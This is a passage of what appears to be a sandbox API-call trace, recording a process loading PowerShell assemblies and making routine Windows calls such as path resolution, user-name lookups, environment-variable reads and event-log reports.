(lpRootPathName="C:\\") returned 0x3 [0245.542] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xece90, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0245.542] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0245.543] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xecee0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0245.543] SetErrorMode (uMode=0x1) returned 0x1 [0245.543] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xed140 | out: lpFileInformation=0xed140*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0245.543] SetErrorMode (uMode=0x1) returned 0x1 [0245.543] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xecee0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0245.543] SetErrorMode (uMode=0x1) returned 0x1 [0245.543] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xed140 | out: lpFileInformation=0xed140*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0245.543] SetErrorMode (uMode=0x1) returned 0x1 [0245.543] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xecf80, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0245.543] SetErrorMode (uMode=0x1) returned 0x1 [0245.543] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xed1e0 | out: lpFileInformation=0xed1e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0245.543] SetErrorMode (uMode=0x1) returned 0x1 [0245.544] CoTaskMemAlloc (cb=0x804) returned 0x1b8445e0 [0245.544] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b8445e0, nSize=0xed5e8 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed5e8) returned 0x1 [0245.544] CoTaskMemFree (pv=0x1b8445e0) [0245.544] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.544] GetUserNameW (in: lpBuffer=0x2a2d80, pcbBuffer=0xed628 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed628) returned 1 [0245.544] CoTaskMemFree (pv=0x2a2d80) [0245.545] ReportEventW (hEventLog=0x1b9f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d3e868*="FileSystem", lpRawData=0x3d3e5f8) returned 1 [0245.546] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0245.546] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0245.546] CoTaskMemFree (pv=0x254b00) [0245.547] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.547] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xece10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.547] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xece10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.547] CoTaskMemAlloc (cb=0x804) returned 0x1b8445e0 [0245.547] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b8445e0, nSize=0xed5e8 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed5e8) returned 0x1 [0245.547] CoTaskMemFree (pv=0x1b8445e0) [0245.547] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.547] GetUserNameW (in: lpBuffer=0x2a2d80, pcbBuffer=0xed628 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed628) returned 1 [0245.548] CoTaskMemFree (pv=0x2a2d80) [0245.548] ReportEventW (hEventLog=0x1b9f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d44058*="Function", lpRawData=0x3d43de8) returned 1 [0245.551] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0245.551] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0245.551] CoTaskMemFree (pv=0x254b00) [0245.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xece90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.785] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xece90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.785] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.785] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.788] CoTaskMemAlloc (cb=0x804) returned 0x1b8445e0 [0245.788] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b8445e0, nSize=0xed5e8 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed5e8) returned 0x1 [0245.789] CoTaskMemFree (pv=0x1b8445e0) [0245.789] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.789] GetUserNameW (in: lpBuffer=0x2a2d80, pcbBuffer=0xed628 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed628) returned 1 [0245.789] CoTaskMemFree (pv=0x2a2d80) [0245.792] ReportEventW (hEventLog=0x1b9f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2ea8288*="Registry", lpRawData=0x2ea8018) returned 1 [0245.794] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xece90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.794] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.794] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.795] CoTaskMemAlloc (cb=0x804) returned 0x1b8445e0 [0245.795] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b8445e0, nSize=0xed5e8 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed5e8) returned 0x1 [0245.795] CoTaskMemFree (pv=0x1b8445e0) [0245.795] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.795] GetUserNameW (in: lpBuffer=0x2a2d80, pcbBuffer=0xed628 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed628) returned 1 [0245.795] CoTaskMemFree (pv=0x2a2d80) [0245.795] ReportEventW (hEventLog=0x1b9f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2ead650*="Variable", lpRawData=0x2ead3e0) returned 1 [0245.797] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0245.797] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0245.798] CoTaskMemFree (pv=0x254b00) [0245.818] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0245.818] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0245.818] CoTaskMemFree (pv=0x254b00) [0245.821] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xece90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0245.821] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0245.821] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0245.822] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0245.902] CoTaskMemAlloc (cb=0x804) returned 0x1b8445e0 [0245.902] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b8445e0, nSize=0xed5e8 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed5e8) returned 0x1 [0245.902] CoTaskMemFree (pv=0x1b8445e0) [0245.902] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.902] GetUserNameW (in: lpBuffer=0x2a2d80, pcbBuffer=0xed628 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed628) returned 1 [0245.902] CoTaskMemFree (pv=0x2a2d80) [0245.902] ReportEventW (hEventLog=0x1b9f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2ec1218*="Certificate", lpRawData=0x2ec0fa8) returned 1 [0245.908] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0245.908] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0245.908] CoTaskMemFree (pv=0x254b00) [0245.911] GetLogicalDrives () returned 0x4 [0245.911] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xed270, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0245.911] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0245.912] CoTaskMemAlloc (cb=0x20e) returned 0x2b34e0 [0245.912] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x2b34e0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0245.912] CoTaskMemFree (pv=0x2b34e0) [0245.913] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0245.913] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0245.913] CoTaskMemFree (pv=0x254b00) [0245.913] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0245.913] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0245.913] CoTaskMemFree (pv=0x254b00) [0246.042] CoTaskMemAlloc (cb=0x804) returned 0x1b8445e0 [0246.042] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b8445e0, nSize=0xed858 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed858) returned 0x1 [0246.042] CoTaskMemFree (pv=0x1b8445e0) [0246.042] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0246.042] GetUserNameW (in: lpBuffer=0x2a2d80, pcbBuffer=0xed898 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed898) returned 1 [0246.042] CoTaskMemFree (pv=0x2a2d80) [0246.044] ReportEventW (hEventLog=0x1b9f0008, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2ef9eb0*="Available", lpRawData=0x2ef9c40) returned 1 [0246.045] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0246.045] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0246.045] CoTaskMemFree (pv=0x254b00) [0246.046] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0246.046] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0246.046] CoTaskMemFree (pv=0x254b00) [0246.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed360, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.079] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0246.079] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0246.079] CoTaskMemFree (pv=0x254b00) [0246.079] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0246.079] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="\\Users\\aETAdzjz") returned 0xf [0246.079] CoTaskMemFree (pv=0x254b00) [0246.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.081] GetCurrentProcessId () returned 0x740 [0246.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec250, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec250, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.182] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0246.182] VirtualQuery (in: lpAddress=0xeb8d0, 